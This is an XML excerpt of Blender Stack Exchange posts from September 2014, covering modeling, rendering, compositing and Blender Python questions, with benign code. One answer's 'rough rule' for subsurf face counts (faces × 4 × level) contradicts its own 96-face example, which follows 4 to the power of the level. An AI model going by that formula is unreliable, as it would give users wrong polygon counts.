  <row Id="15630" PostTypeId="1" CreationDate="2014-09-07T01:55:34.660" Score="1" ViewCount="232" Body="&lt;p&gt;I have sent out a rendering job using Network Render, but everytime I try to view the log file I get an error message which states &quot;This Page Can't Be Displayed&quot; and my Master instance remains in a &quot;Receiving log file&quot; state. How can I get my network to properly send its log files back to the master? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running on Windows 8.1 with a local network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You In Advance. &lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2014-09-07T01:55:34.660" Title="What Is Wrong With My Log File In Network Render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;network&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15631" PostTypeId="1" AcceptedAnswerId="15634" CreationDate="2014-09-07T02:26:27.540" Score="3" ViewCount="233" Body="&lt;p&gt;What I'd like to know is, would it be possible to display the output of an external opengl application inside Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Esw0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown on the image the left part is the standard 3D viewport, and on the right would be the output of an external renderer or game engine that would be displayed inside Blender directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A use case for this would be to use Blender as a level editor and seeing the edits being replicated live in the game engine.&lt;/p&gt;&#xA;" OwnerUserId="1805" LastActivityDate="2014-09-07T07:09:01.837" Title="Integrate an external application" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15632" PostTypeId="1" AcceptedAnswerId="15658" CreationDate="2014-09-07T06:33:58.203" Score="0" ViewCount="672" Body="&lt;p&gt;I have different characters in an scene, each one with different bone layers numbers. It is possible, using python, to create a rig ui layer panel for each character based on the armature name, and it is only show when a specific character is selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using the flex rig code to create the rig bone layers. But with multiple characters, it doesn't work as I expected. For example, if character A has 5 layers and character B has only 2, toggle the button for layer 1 affects the layers for both characters. &lt;/p&gt;&#xA;" OwnerUserId="5930" LastActivityDate="2014-09-08T11:04:17.543" Title="Python show rig ui if armature is selected" Tags="&lt;python&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15633" PostTypeId="1" AcceptedAnswerId="15635" CreationDate="2014-09-07T06:50:48.297" Score="4" ViewCount="1362" Body="&lt;p&gt;I have a cylinder and I want to cut a  rectangular hole in it,I do it but when adding a subsurf modifier to the object and add some proximity loops but I fact this problem as you see here &lt;img src=&quot;https://i.stack.imgur.com/PsMjH.jpg&quot; alt=&quot;the problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I fix this problem&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-09-07T08:10:51.940" Title="Cutting rectangular hole in a cylinder with subsurf modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15634" PostTypeId="2" ParentId="15631" CreationDate="2014-09-07T07:09:01.837" Score="1" Body="&lt;p&gt;For an external render engine, yes. Have a look at cycles, it is actually created as an external render engine made available through a python based addon. Luxrender also utilises this to integrate with blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For general opengl drawing I would say no. Blender is developed to read it's own data and draw it to screen. There is the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bgl.html&quot; rel=&quot;nofollow&quot;&gt;bgl module&lt;/a&gt; available in python to allow python scripts to draw as needed, you could get data from another application and draw in blender with this but I would not expect decent performance with anything but a very simple scene.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-07T07:09:01.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15635" PostTypeId="2" ParentId="15633" CreationDate="2014-09-07T07:50:16.177" Score="4" Body="&lt;p&gt;You could try to select the edges of you rectangle and increase the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Crease Weight&lt;/em&gt;&lt;/a&gt; in the &lt;em&gt;Properties Panel&lt;/em&gt;  &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oX4sq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work well you could subdivide the cylinder before cutting, this way the influence of the &lt;em&gt;Subsurf Modifier&lt;/em&gt; would be more local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/osI9w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-07T08:10:51.940" LastActivityDate="2014-09-07T08:10:51.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15636" PostTypeId="1" AcceptedAnswerId="15637" CreationDate="2014-09-07T08:35:30.417" Score="5" ViewCount="12235" Body="&lt;p&gt;I'm trying to make a hole through the face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HpPKI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it will come out just like this hole on the other side of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Puf7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't make sense, i'm saying this: On the first picture, It clearly has no hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second picture, It is the other side of the CUBE , i have used &quot;knife&quot; tool to cut the hole but it didn't go through, so i'm trying to make that exact hole, on the first pictures face so i can make a window.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-06-02T00:07:52.353" LastActivityDate="2015-06-02T00:07:52.353" Title="How to cut a hole through both sides of a cube?" Tags="&lt;knife-tool&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-09-08T10:32:59.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="15637" PostTypeId="2" ParentId="15636" CreationDate="2014-09-07T09:12:26.767" Score="5" Body="&lt;p&gt;After invoking the &lt;em&gt;Knife Tool&lt;/em&gt; the status info shows:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VBMOd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each cut:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;C&lt;/kbd&gt; to align the cuts&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Z&lt;/kbd&gt; to cut through &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First cut the vertical then the horizontal edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ujph0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removing the faces you would need to add more edges (highlighted vertices) or use the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?270422-AddOn-Window-Generator-2&quot; rel=&quot;noreferrer&quot;&gt;Window creator&lt;/a&gt; and place a completed window at this position.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-07T09:12:26.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15638" PostTypeId="1" AcceptedAnswerId="15639" CreationDate="2014-09-07T11:58:47.383" Score="1" ViewCount="521" Body="&lt;p&gt;I want to check if an addon exists and if it is enabled. So i tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loaded_default, loaded_state = addon_utils.check(addon_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i found that i can not distinguish between the 2 cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Addon is not installed&lt;/li&gt;&#xA;&lt;li&gt;Addon is not enabled&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in the case where i want to programmatically enable an addon, i can only do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addon_name=&quot;myaddon&quot;&#xA;default, state = addon_utils.check(addon_name)&#xA;print (&quot;%s: default:%s, state:%s&quot; % (addon_name, default, state) )&#xA;if default == False and state is None:&#xA;    print(&quot;%s is not installed or not enabled by default&quot; % addon_name)&#xA;&#xA;if state != True :&#xA;    print(&quot;Try to enable module %s On The Fly ...&quot; % addon_name )&#xA;    try:&#xA;        mod = addon_utils.enable(addon_name, default_set=False, persistent=True)&#xA;        if mod:&#xA;            state = True&#xA;    except:&#xA;        print(&quot;Could not enable %s on the fly. Ignore&quot; % addon_name )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is ugly. Especially when the module does not exist then i get a stack trace in the console, even when i use a try/except block. For the the example above i get this in the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myaddon: default:False, state:None&#xA;myaddon is not installed or not enabled by default&#xA;Try to enable module myaddon On The Fly ...&#xA;Traceback (most recent call last):&#xA;  File &quot;D:\blendergit\cmake-build\bin\Release\2.71\scripts\modules\addon_utils.py&quot;, line 299, in enable&#xA;    mod = __import__(module_name)&#xA;ImportError: No module named 'myaddon'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make this more elegant and avoid to see the stack trace when the child addon does not exist ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-07T12:17:06.120" LastActivityDate="2014-09-17T19:16:36.130" Title="How to distinguish between &quot;Addon is not installed&quot; and &quot;Addon is not enabled&quot;?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15639" PostTypeId="2" ParentId="15638" CreationDate="2014-09-07T12:34:39.660" Score="2" Body="&lt;p&gt;If the addon is not 'installed' (i.e. unknown from Blender side), then it won’t be listed in &lt;code&gt;addon_utils.addons_fake_modules&lt;/code&gt;. So the solution is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod = None&#xA;addon_name = &quot;myaddon&quot;&#xA;if addon_name not in addon_utils.addons_fake_modules:&#xA;    print(&quot;%s: Addon not installed.&quot; % addon_name)&#xA;else:&#xA;    default, state = addon_utils.check(addon_name)&#xA;    if not state:&#xA;        try:&#xA;            mod = addon_utils.enable(addon_name, default_set=False, persistent=False)&#xA;        except:&#xA;            print(&quot;%s: Could not enable Addon on the fly.&quot; % addon_name )&#xA;&#xA;if mod:&#xA;    print(&quot;%s: enabled and running.&quot; % addon_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="248" LastEditDate="2014-09-17T19:16:36.130" LastActivityDate="2014-09-17T19:16:36.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15640" PostTypeId="1" CreationDate="2014-09-07T13:29:57.210" Score="2" ViewCount="473" Body="&lt;p&gt;How can shape keys be driven by an Empty's coordinates relative to the object?&#xA;I'm guessing this can be done with a Python expression but not sure how to write it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCpgQ.png&quot; alt=&quot;Shape Key values determined by the distance from an Empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how might we specify the falloff curve for that Empty's influence?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2014-09-07T13:29:57.210" Title="Driving Shape Keys by proximity of an Empty" Tags="&lt;python&gt;&lt;drivers&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15642" PostTypeId="1" AcceptedAnswerId="15662" CreationDate="2014-09-07T14:35:58.253" Score="3" ViewCount="811" Body="&lt;p&gt;I have a fairly complex object which has multiple materials in different faces. I would like to cover the whole thing in dirt (for example noise texture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use multiple UV's (this technique &lt;a href=&quot;http://www.andreucabre.com/2012/02/multiple-uvs-and-decals-in-cycles.html&quot; rel=&quot;nofollow&quot;&gt;http://www.andreucabre.com/2012/02/multiple-uvs-and-decals-in-cycles.html&lt;/a&gt;) but that would require to re-create the existing thing in a different manner (using UV's and nodes instead of multiple materials)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to cover the whole thing with a semi-transparent texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using cycles.&lt;/p&gt;&#xA;" OwnerUserId="5934" LastEditorUserId="5934" LastEditDate="2014-09-08T11:31:49.317" LastActivityDate="2015-11-21T23:48:06.200" Title="How to apply a material (e.g. dirt) over an object that already has multiple materials?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15643" PostTypeId="1" AcceptedAnswerId="15645" CreationDate="2014-09-07T15:59:56.830" Score="2" ViewCount="229" Body="&lt;p&gt;I am new to blender and since i am unaware of the terminology i dont know what to search for&lt;br/&gt;I have a 'quick smoke' icosphere as a rendered mpeg file.&lt;br/&gt;&#xA;I have another video in which a man shows his hands as if he is holding the smoke ball.&lt;br/&gt;&#xA;But in Video Sequence Editor when i add both the clips and add the transform effect to the smoke clip with 'alpha over' and scale it,I get a black box (background) around the smoke.&lt;br/&gt;&#xA;I have tried to make it transparent as given here&lt;br/&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/1303/can-blender-render-pngs-with-the-background-transparent&quot;&gt;Can Blender render pngs with the background transparent?&lt;/a&gt;&lt;br/&gt;&#xA;How should i display only the smoke without background?&lt;br/&gt;&#xA;Note:I have also tried changing the opacity of both the transform and smoke strips to no avail &lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-09-15T01:49:42.160" Title="place quick smoke icosphere over video in video sequence editor" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15645" PostTypeId="2" ParentId="15643" CreationDate="2014-09-07T19:23:55.497" Score="3" Body="&lt;p&gt;Most video formats do not support alpha channels,at least not the ones built into blender. (there is &lt;a href=&quot;https://blender.stackexchange.com/questions/2050/any-video-formats-that-render-with-alpha-channel&quot;&gt;one option&lt;/a&gt; if you are using OSX)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two options: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- Export your scene as an image sequence with in RBGA (in a format like PNG, Tiff, TGA, Jpeg2000 or OpenEXR) and then import it into the Video sequence editor to combine your shots&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.- Do the compositing directly in blender either by importing the smoke scene as a strip into the &lt;strong&gt;video editor&lt;/strong&gt; or using the compositor located in the &lt;strong&gt;Node Editor&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-09-07T19:23:55.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15646" PostTypeId="2" ParentId="15628" CreationDate="2014-09-07T19:38:27.560" Score="6" Body="&lt;p&gt;If you want to do this procedurally, you could try using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Lattice&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;lattice modifier&lt;/em&gt;&lt;/a&gt; to distort the displacement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGPyY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above screenshot I use a wood texture for the displacement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/89VYn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a distorted lattice for the distortion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSS3w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-07T19:45:38.490" LastActivityDate="2014-09-07T19:45:38.490" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15647" PostTypeId="1" CreationDate="2014-09-07T20:11:47.450" Score="0" ViewCount="530" Body="&lt;p&gt;I am trying to animate the focus/blur intensity on a video strip, and have come across  &lt;a href=&quot;https://www.youtube.com/watch?v=qEXAm7HVk98&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks interesting, but it's just too fast for me to follow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the fact that it appears to have some parts of the frame in focus and other parts out of focus, and wondered if anyone can spot and explain how this is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this script's main purpose is to enable one use the compositor on video strips, right? &lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="3078" LastEditDate="2014-09-07T20:28:00.367" LastActivityDate="2014-09-07T23:14:16.873" Title="How to animate focus/blur intensity on a VSE strip" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15649" PostTypeId="1" AcceptedAnswerId="28960" CreationDate="2014-09-07T22:51:45.607" Score="16" ViewCount="2106" Body="&lt;p&gt;I have an animation with lots of text objects flying about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to render it with motion blur and stuff, but there are quite a few long sections where nothing is moving so that the text can be read. In these sections the render output (should) remain exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it's pretty pointless to render the same image over and over, is there some way to automatically detect and skip those sections, only rendering one frame until there are more keyframes?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2015-04-26T23:05:37.630" LastActivityDate="2020-07-02T11:10:11.210" Title="Can frames with no animation be automatically skipped?" Tags="&lt;rendering&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15650" PostTypeId="1" AcceptedAnswerId="15652" CreationDate="2014-09-07T22:59:15.900" Score="5" ViewCount="1299" Body="&lt;p&gt;I'm manipulating some things in the scene from camera view, and I'd like to be able to tell exactly how big they will appear in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to make the camera view zoom to 1:1 in the viewport, without rendering the scene?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-07T23:49:13.497" Title="Is it possible to view the scene in the viewport camera view at 1:1?" Tags="&lt;workflow&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15651" PostTypeId="2" ParentId="15647" CreationDate="2014-09-07T23:14:16.873" Score="1" Body="&lt;p&gt;Sorry the blur implemented in the vse doesn't use an image value for scale (blur quantity is determined by image value), so all you can do is mask the blur strip with a shape (like a texture). Then Alpha it over a copy of the source strip.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-09-07T23:14:16.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15652" PostTypeId="2" ParentId="15650" CreationDate="2014-09-07T23:49:13.497" Score="7" Body="&lt;p&gt;Yes, Blender has this feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the 3D View Header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View -&gt; Navigation -&gt; Zoom Camera 1:1 &lt;em&gt;(Shift + NumpadEnter)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-07T23:49:13.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15653" PostTypeId="1" AcceptedAnswerId="15714" CreationDate="2014-09-08T02:23:19.450" Score="2" ViewCount="693" Body="&lt;p&gt;I'm attempting to do a boolean union between a cube and a polyhedron. It's getting error messages and the union doesn't complete. I thought that it might be a problem with something being co-planar, but I've tweaked the model so that isn't a possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The errors for my test case are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CSG failed, exception non intersecting group is not IN or OUT! (poly_a)&#xA;CSG failed, exception extern\carve\lib\triangulator.cpp:898  &quot;didn't manage to link up hole!&quot;&#xA;CSG failed, exception non intersecting group is not IN or OUT! (poly_a)&#xA;CSG failed, exception extern\carve\lib\triangulator.cpp:898  &quot;didn't manage to link up hole!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My test case is set up to do the union with either the polyhedron or with a cube of the same shape and dimensions. The union between the two cubes works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I hit a bug, or am I making a mistake when I create my polyhedron?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record: Blender 2.71; Windows 7 64-Bit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main(usePolyhedron):&#xA;    # Create object &quot;A&quot;&#xA;    if (usePolyhedron):&#xA;        points = [[0, 0, 0], [0, 0.3048, 0], [0.3048, 0.3048, 0], [0.3048, 0, 0], [0.3048, 0, 2.5000], [0.3048, 0.3048, 2.5000], [0, 0.3048, 2.5000], [0, 0, 2.5000]]&#xA;        faces = [[0, 1, 2, 3], [4, 5, 6, 7], [0, 7, 4, 3], [1, 6, 7, 0], [2, 5, 6, 1], [3, 4, 5, 2]]&#xA;        polyName = 'PolyhedronA'&#xA;        polyMeshName = polyName + 'Mesh'&#xA;        mesh = bpy.data.meshes.new(polyMeshName)&#xA;        verts = mesh.vertices&#xA;        verts.add (len(points))&#xA;        vindex = 0&#xA;        for p in points:&#xA;            verts[vindex].co = p&#xA;            verts[vindex].normal = (0.0,0.0,1.0)&#xA;            vindex += 1&#xA;        polygons = mesh.polygons&#xA;        polygons.add (len(faces))&#xA;        pindex = 0&#xA;        loops = mesh.loops&#xA;        loopCount = sum(len(f) for f in faces)&#xA;        loops.add(loopCount)&#xA;        lindex = 0&#xA;        edgeSet = set()&#xA;        for f in faces:&#xA;            curPoly = polygons[pindex]&#xA;            pindex += 1&#xA;            curPoly.vertices = f&#xA;            curPoly.loop_start = lindex&#xA;            lt = 0&#xA;            li = -1&#xA;            for v in f:&#xA;                loops[lindex].vertex_index = v&#xA;                lindex += 1&#xA;                lt += 1&#xA;                if li != -1:&#xA;                    edgeSet.add((min(li,v),max(li,v)))&#xA;                li = v&#xA;            edgeSet.add((min(li,f[0]),max(li,f[0])))&#xA;            curPoly.loop_total = lt&#xA;        edges = mesh.edges&#xA;        edges.add (len(edgeSet))&#xA;        eindex = 0&#xA;        for e in edgeSet:&#xA;            edges[eindex].vertices = [ ex for ex in e]&#xA;            eindex += 1&#xA;        if mesh.validate (False):&#xA;            print(&quot;Invalid mesh&quot;)&#xA;        mesh.update ()&#xA;        scene = bpy.context.scene&#xA;        objA = bpy.data.objects.new(polyName, mesh)&#xA;        objA.location = (0,0,0)&#xA;        scene.objects.link(objA)&#xA;        objA.select = False&#xA;    else:&#xA;        cubeName = 'CubeA'&#xA;        cubeSize = [0.3048, 0.3048, 2.5000]&#xA;        cubeOrigin = (0.1524, 0.1524, 1.2500)&#xA;        bpy.ops.mesh.primitive_cube_add (location=cubeOrigin)&#xA;        objA = bpy.context.object&#xA;        objA.name=cubeName&#xA;        meA = objA.data&#xA;        meA.name = cubeName + 'Mesh'&#xA;        objA.scale = [cubeSize[0]/2, cubeSize[1]/2, cubeSize[2]/2]&#xA;        objA.select = True&#xA;        bpy.context.scene.objects.active = objA&#xA;        bpy.context.scene.cursor_location = (0.0, 0.0, 0.0)&#xA;        bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;        bpy.context.scene.objects.active = None&#xA;        objA.select = False&#xA;&#xA;    cubeName = 'CubeB'&#xA;    cubeSize = [0.3500, 0.3500, 0.3100]&#xA;    cubeOrigin = (0.1730, 0.1242, 2.4410)&#xA;    bpy.ops.mesh.primitive_cube_add (location=cubeOrigin)&#xA;    objB = bpy.context.object&#xA;    objB.name=cubeName&#xA;    me = objB.data&#xA;    me.name = cubeName + 'Mesh'&#xA;    objB.scale = [cubeSize[0]/2, cubeSize[1]/2, cubeSize[2]/2]&#xA;    objB.select = True&#xA;    bpy.context.scene.objects.active = objB&#xA;    bpy.context.scene.cursor_location = (0.0, 0.0, 0.0)&#xA;    bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;    bpy.context.scene.objects.active = None&#xA;    objB.select = False&#xA;&#xA;    # Take the union of 'A' and 'B'&#xA;    modName = 'Union'&#xA;    bpy.context.scene.objects.active = objA&#xA;    boo = objA.modifiers.new(modName, 'BOOLEAN')&#xA;    boo.object = objB&#xA;    boo.operation = 'UNION'&#xA;    bpy.ops.object.modifier_apply(apply_as='DATA', modifier=modName)&#xA;    bpy.context.scene.objects.unlink(objB)&#xA;    bpy.context.scene.objects.active = None&#xA;&#xA;if __name__ == '__main__':&#xA;    main(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2014-09-10T00:35:19.030" Title="Failed union with polyhedron" Tags="&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15654" PostTypeId="1" AcceptedAnswerId="15667" CreationDate="2014-09-08T06:26:06.697" Score="5" ViewCount="1469" Body="&lt;p&gt;How do I know the number of the polygons after adding a &lt;em&gt;subdivision surface&lt;/em&gt; modifier without applying it? I have the number of poly after applying.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2014-09-08T20:11:01.467" LastActivityDate="2015-12-07T06:16:06.010" Title="How do I know the number of polygons after adding a subdivision surface modifier without applying it?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15655" PostTypeId="2" ParentId="15654" CreationDate="2014-09-08T06:34:35.670" Score="2" Body="&lt;p&gt;The number of faces (polygons) is displayed in the &lt;em&gt;Info Header&lt;/em&gt; at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LC1cI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding a &lt;em&gt;Subsurf Modifier&lt;/em&gt; it has 96 faces (2 subdivisions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0yriM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a complex scene with multiple objects you would need switch to &lt;em&gt;Edit Mode&lt;/em&gt; or move the object to an unused layer &lt;kbd&gt;M&lt;/kbd&gt; to see only the number of faces for a particular object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before applying the modifier it is also a good idea to change to&lt;em&gt;Wireframe&lt;/em&gt; display mode to get an impression of how dense the mesh actually is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subdivision divides a face into four faces (per level) as mesh subdivision would do. Here an example with algorithm &lt;em&gt;Simple&lt;/em&gt; because it appears more obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/spk4D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Catmull-Clark:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/59zaq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rough rule derived from the above info (without studying the paper) is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_faces = original_faces * 4 * subdivision_level&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it doesn't cover triangles and n-gons. For a more detailed describtion see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subsurf&lt;/a&gt;&#xA;(thanks to @cegaton)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It provides formulas based on the number of vetices which seem to be more accurate.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-08T10:39:40.407" 